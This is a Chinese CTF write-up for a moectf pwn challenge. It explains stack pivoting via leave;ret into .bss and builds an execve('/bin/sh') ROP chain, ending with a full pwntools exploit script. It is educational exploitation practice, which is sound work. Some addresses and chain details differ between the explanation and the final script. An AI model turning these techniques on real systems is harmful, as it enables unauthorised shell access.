1278 words
6 minutes
栈迁移相关
2026-09-21

写在前面#

图为新建的虚拟机

赫赫,最快的一集

6ay85L2s5LiA5Lq/5Liq5q+U6LWb5L2g5bCx5omT5ZCn

自助打印机#

checksec

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

main

int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int16 v4; // [rsp+Eh] [rbp-2h] BYREF
IO_setvbuf(stdin, 0, 2, 0);
IO_setvbuf(stdout, 0, 2, 0);
alarm(30);
IO_puts("=== Self-Service Printer Queue ===");
IO_puts("[printer] Submit a two-byte little-endian print queue length.");
IO_puts("[printer] Send print queue data:");
read_exact(&v4, 2);
if ( v4 && v4 <= 0x400u )
{
read_exact(&print_queue, v4);
IO_puts("[printer] Print queue stored.");
IO_puts("[printer] Confirm the print job with a 40-byte ticket:");
confirm_print_job();
return 0;
}
else
{
IO_puts("[printer] Invalid print queue length.");
return 0;
}
}

查看print_queue大小

Terminal window
readelf -sW ./printer_queue | grep -i print_queue
893: 00000000004a9a80 1024 OBJECT GLOBAL DEFAULT 21 print_queue

看confirm_print_job

__int64 confirm_print_job()
{
_BYTE v1[16]; // [rsp+0h] [rbp-10h] BYREF
read_exact(v1, 40);
return IO_puts("[printer] Job confirmation accepted.");
}

明显溢出

现在找system以及/bin/sh

WSL找半天没找到

ROPgadget --binary ./printer_queue | grep -E 'syscall|pop rax|pop rdi|pop rsi|pop rdx'

由于溢出后空间过小,所以我们考虑栈迁移

先放一下前置

栈迁移

ext:0000000000401878 ; __unwind {
.text:0000000000401878 endbr64
.text:000000000040187C push rbp
.text:000000000040187D mov rbp, rsp
.text:0000000000401880 sub rsp, 10h
.text:0000000000401884 lea rax, [rbp+var_10]
.text:0000000000401888 mov esi, 28h ; '('
.text:000000000040188D mov rdi, rax
.text:0000000000401890 call read_exact
.text:0000000000401895 mov edi, offset aPrinterJobConf ; "[printer] Job confirmation accepted."
.text:000000000040189A call _IO_puts
.text:000000000040189F nop
.text:00000000004018A0 leave
.text:00000000004018A1 retn
.text:00000000004018A1 ; } // starts at 401878
.text:00000000004018A1 confirm_print_job endp

可以看到我们覆盖完saved rbp 和返回地址之后在leave; retn阶段才会使用被覆盖的 saved rbp 和返回地址

只要把写入地址空间改大,然后再用经典的ROP重新跳转回main再写入一遍,那不就好了

然后就是

Terminal window
strings -tx ./printer_queue | grep "/bin/sh"
ROPgadget --binary ./printer_queue | grep "pop rax ; ret"
ROPgadget --binary ./printer_queue | grep "pop rdi ; ret"
ROPgadget --binary ./printer_queue | grep "pop rsi ; ret"
ROPgadget --binary ./printer_queue | grep "pop rdx ; ret"
ROPgadget --binary ./printer_queue | grep "syscall"
ROPgadget --binary ./printer_queue | grep "leave ; ret"
ROPgadget --binary ./printer_queue | grep "ret$"

ctrl+F

pop rdi ; ret,pop rsi ; ret,pop rax ; ret,syscall

Terminal window
0x432e48 : pop rdi ; ret
0x402b86 : pop rsi ; ret
0x42149b : pop rax ; ret
0x401324 : syscall

这不就挺干净

ROP不就拼拼凑凑

.bss

Terminal window
readelf -S ./printer_queue | grep .bss
[15] .tbss NOBITS 00000000004a3ed0 000a2ed0
[21] .bss NOBITS 00000000004a9a20 000a8a08

main以及**confirm_print_job**,用于再一次跳回函数,毕竟只有一个read,第一次只能造成栈迁移,第二次才是真正攻击的时候

Terminal window
(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/moectf/自助打印机/attachment$ readelf -s ./printer_queue | grep -E " main$| confirm_print_job"
133: 0000000000401878 42 FUNC LOCAL DEFAULT 7 confirm_print_job
1526: 00000000004018a2 217 FUNC GLOBAL DEFAULT 7 main

现在是system以及/bin/sh搜索的事情

Terminal window
strings -tx ./printer_queue | grep "/bin/sh"
(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/moectf/自助打印机/attachment$

呃,那我们直接考虑execve吧

x86-64:

rax = 59 # execve 系统调用号
rdi = "/bin/sh" # 文件名指针
rsi = 0 # argv = NULL
rdx = 0 # envp = NULL
syscall

现在还差一个rdx = 0

rdx的链不干净

Terminal window
0x4684fc : pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
  • 弹一个值给 rdx
  • 把 eax 清零
  • 再弹 4 个垃圾值给 rbx、r12、r13、rbp

涉及rax相关,所以先考虑把rdx设置好,再把rax设置

那么就是

execve_chain = flat([
# rdx = 0,同时 eax 被清零
pop_rdx_xor_eax_pop4, 0, 0, 0, 0, 0,
# rax = 59
pop_rax, 59,
# rdi = binsh
pop_rdi, binsh,
# rsi = 0
pop_rsi, 0,
# syscall
syscall
])

现在就可以考虑第一步该怎么操作了

由于给的空间真的太小太小,所以第一步必然不考虑直接跑到.bss,而是想办法怎么构造出ROP

adccb62b-ad4c-4a0c-9fbb-22fad7fd0a7f

可以看到main的两个raed,一个写入内容太小,一个是滚木地址,那总得确认第二个是写入到哪的吧

bss:00000000004A9A20 __bss_start db ? ; DATA XREF: __do_global_dtors_aux+4↑r
.bss:00000000004A9A20 ; __do_global_dtors_aux:loc_4017CA↑w
.bss:00000000004A9A20 ; Alternative name is 'completed.1'
.bss:00000000004A9A21 align 20h
.bss:00000000004A9A40 object_0 db ? ; ; DATA XREF: frame_dummy+F↑o
.bss:00000000004A9A41 db ? ;
.bss:00000000004A9A42 db ? ;
.bss:00000000004A9A43 db ? ;
.bss:00000000004A9A44 db ? ;
.bss:00000000004A9A45 db ? ;
.bss:00000000004A9A46 db ? ;
.bss:00000000004A9A47 db ? ;
.bss:00000000004A9A48 db ? ;
...
.bss:00000000004A9A80 public print_queue
.bss:00000000004A9A80 print_queue db ? ; ; DATA XREF: main+AF↑o

还有天然的写入,无敌了

那么就是先把ROP以及/bin/sh写入进去,然后再在 confirm_print_job 中栈迁移到 .bss,最后在.bss 上执行 execve("/bin/sh", 0, 0)

忘记说了,还有个bin的小巧思

因为 "/bin/sh\x00" 这个字符串在内存里紧跟在 ROP 链的后面,所以它的地址 = ROP 链起始地址 + ROP 链长度。

但是呢,ROP链又得有

pop_rdi, binsh_addr

那怎么办呢,只有天知道

你我都是懒鬼,不可能都直接把ROP长度算一遍对吧

那在python里面顺便算了不就好了

#只在 Python 内存里存在,用来算长度
rop_part = flat([
0,
pop_rdx, 0, 0, 0, 0, 0,
pop_rax, 59,
pop_rdi, 0,
pop_rsi, 0,
syscall
])
binsh_addr = bss + len(rop_part)
rop_chain = flat([
0,
pop_rdx, 0, 0, 0, 0, 0,
pop_rax, 59,
pop_rdi, binsh_addr,
pop_rsi, 0,
syscall
]) + b"/bin/sh\x00"

为什么一开始有一个0呢

回顾一下leave; ret

拆解中有一步pop rbp,这是在.bss上弹一个值给rbp,那总不能给他pop_rdx吧

那就放0占位好了

exp

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
bss = 0x4a9a80
leave_ret = 0x401876
pop_rax = 0x42149b
pop_rdi = 0x432e48
pop_rsi = 0x402b86
pop_rdx = 0x4684fc
syscall = 0x401324
rop_part = flat([
0,
pop_rdx, 0, 0, 0, 0, 0,
pop_rax, 59,
pop_rdi, 0,
pop_rsi, 0,
syscall
])
binsh_addr = bss + len(rop_part)
argv_addr = binsh_addr + 8
rop_chain = flat([
0,
pop_rdx, 0, 0, 0, 0, 0,
pop_rax, 59,
pop_rdi, binsh_addr,
pop_rsi, argv_addr,
syscall
]) + b"/bin/sh\x00" + p64(binsh_addr) + p64(0)
p = remote('127.0.0.1', 51356)
p.recvuntil(b"data:")
p.send(p16(0x400))
p.send(rop_chain.ljust(0x400, b'\x00'))
payload = b'A' * 16 + p64(bss) + p64(leave_ret)
payload = payload.ljust(0x28, b'A')
p.send(payload)
p.interactive()
栈迁移相关
https://dxfaker.top/posts/26moe7/
Author
dxfaker
Published at
2026-09-21
License
CC BY-NC-SA 4.0

Some information may be outdated